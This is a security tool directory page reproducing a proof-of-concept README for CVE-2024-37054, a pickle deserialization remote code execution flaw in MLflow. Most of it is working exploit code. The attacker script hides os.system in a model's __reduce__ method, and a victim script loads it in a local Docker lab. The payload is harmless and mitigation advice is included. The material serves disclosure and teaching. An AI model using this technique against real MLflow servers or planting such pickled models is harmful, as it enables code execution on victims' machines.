Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacyΒ© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-37054-MLflow-RCE β€” NiteeshPujari/CVE-2024-37054, This repository contains a Proof of Concept (PoC) a critical deserialization vulnerability in MLflow that allows for Remote Code Execution (RCE). | Kitploit
Tools/GitHubGitHub/niteeshpujari/cve-2024-37054-mlflow-rce
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationPayload Development
GitHubniteeshpujari/cve-2024-37054-mlflow-rce

CVE-2024-37054-MLflow-RCE

NiteeshPujari/CVE-2024-37054, This repository contains a Proof of Concept (PoC) a critical deserialization vulnerability in MLflow that allows for Remote Code Execution (RCE).

View Repository
3291 year agoNot yet reviewed

Most Popular

View all β†’

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    627
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    416
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    379
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    330
  • 6

    Aliens_eye

    arxhr007/aliens_eye

    AI powered OSINT engine to discover and map 7,700+ social media identities across the web

    288

Explore all tools

Browse our collection of tools

View all tools β†’
Share
  __  __  _      _____  _      ___ __        __
 |  \/  || |    |  ___|| |    / _ \\ \      / /
 | |\/| || |    | |_   | |   | | | |\ \ /\ / / 
 | |  | || |___ |  _|  | |___| |_| | \ V  V /  
 |_|  |_||_____||_|    |_____|\___/   \_/\_/   
                                               
  ____    ____  _____   ____          ____     
 |  _ \  / ___|| ____| |  _ \  ___   / ___|    
 | |_) || |    |  _|   | |_) |/ _ \ | |        
 |  _ < | |___ | |___  |  __/| (_) || |___     
 |_| \_\ \____||_____| |_|    \___/  \____|    
                                                                 

CVE-2024-37054: MLflow Remote Code Execution PoC

CVE License GitHub LinkedIn


This repository contains a Proof of Concept (PoC) for CVE-2024-37054, a critical deserialization vulnerability in MLflow that allows for Remote Code Execution (RCE).

πŸ“š Table of Contents

  • Vulnerability Details
  • Proof of Concept (PoC)
  • Mitigation
  • References
  • About the Author

🚨 Vulnerability Details

  • CVE ID: CVE-2024-37054
  • Summary: A deserialization vulnerability exists in the mlflow.pyfunc.load_model function. An attacker can craft a malicious model containing a pickled payload. When a victim loads this model, the payload is deserialized via cloudpickle.load, leading to arbitrary code execution on the victim's machine.
  • Products Impacted: MLflow versions from 0.9.0 up to, but not including, 2.14.2.
  • Vulnerable Function: _load_pyfunc within mlflow/pyfunc/model.py.

πŸ› οΈ Proof of Concept (PoC)

This PoC simulates two roles: an Attacker who uploads a malicious model and a Victim who loads it, triggering the RCE.

1. Environment Setup

The easiest way to set up a vulnerable MLflow server is by using the provided Dockerfile.

Build and Run the Docker Container:

# 1. Build the Docker image
docker build -t mlflow-vulnerable .

# 2. Run the container, mapping port 5000 to the host
docker run -p 5000:5000 --name mlflow-poc-server -it mlflow-vulnerable

Your vulnerable MLflow server is now running at http://127.0.0.1:5000.

2. Execution Steps

You will need two separate terminals on your host machine. Ensure you have a vulnerable version of mlflow installed locally (pip install mlflow==2.14.1) to run the client scripts.

Part 1: Attacker - Log the Malicious Model

In your first terminal, run the attacker's script to log the malicious model.

Click to view Attacker's Script (poc/log_malicious_model.py)
# poc/log_malicious_model.py
import mlflow
import os

# The URI of your MLflow tracking server
MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"

class MaliciousCodeWrapper(mlflow.pyfunc.PythonModel):
    def __init__(self):
        class CommandRunner:
            def __reduce__(self):
                cmd = 'echo ">>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<" && echo > pwned.txt'
                return (os.system, (cmd,))
        self.payload = CommandRunner()

    def predict(self, context, model_input):
        return "This model is a malicious payload."

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    mlflow.set_experiment("Security Demos")
    with mlflow.start_run() as run:
        mlflow.pyfunc.log_model(
            artifact_path="model",
            python_model=MaliciousCodeWrapper(),
            registered_model_name=REGISTERED_MODEL_NAME
        )
    print(f"[*] Malicious model '{REGISTERED_MODEL_NAME}' has been logged.")

Run it:

python poc/log_malicious_model.py

Part 2: Victim - Load the Vulnerable Model

In your second terminal, run the victim's script to simulate loading the compromised model.

Click to view Victim's Script (poc/load_vulnerable_model.py)
# poc/load_vulnerable_model.py
import mlflow

MLFLOW_TRACKING_URI = "http://127.0.0.1:5000"
REGISTERED_MODEL_NAME = "rce-payload-model"
MODEL_VERSION = 1 

if __name__ == "__main__":
    mlflow.set_tracking_uri(MLFLOW_TRACKING_URI)
    model_uri = f"models:/{REGISTERED_MODEL_NAME}/{MODEL_VERSION}"
    print(f"[*] VICTIM: Attempting to load model from URI: {model_uri}")
    print("[*] The payload will execute on the next line...")
    try:
        loaded_model = mlflow.pyfunc.load_model(model_uri)
        print("\n[*] Model loaded successfully.")
    except Exception as e:
        print(f"\n[!] An error occurred: {e}")

Run it:

python poc/load_vulnerable_model.py

3. Observe the Result

After running the victim's script, you will see the message /bin/sh: 1: >>> RCE PAYLOAD EXECUTED SUCCESSFULLY <<<: not found in the terminal, and a new file named pwned.txt will be created in your directory. This confirms successful command execution.


πŸ›‘οΈ Mitigation

  • Upgrade MLflow: Upgrade to version 2.14.2 or later, where this vulnerability has been patched.
  • Never load untrusted models: Only load ML models from sources you trust completely.

πŸ” References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-37054
  • Original Advisory: https://hiddenlayer.com/sai-security-advisory/2024-06-mlflow

πŸ‘¨β€πŸ’» About the Author

This Proof of Concept was developed by Pujari Niteesh.

  • Cyber Security Research Engineer
  • GitHub: NiteeshPujari
  • LinkedIn: NiteeshPujari
  • Website: www.niteesh.in
Download Tool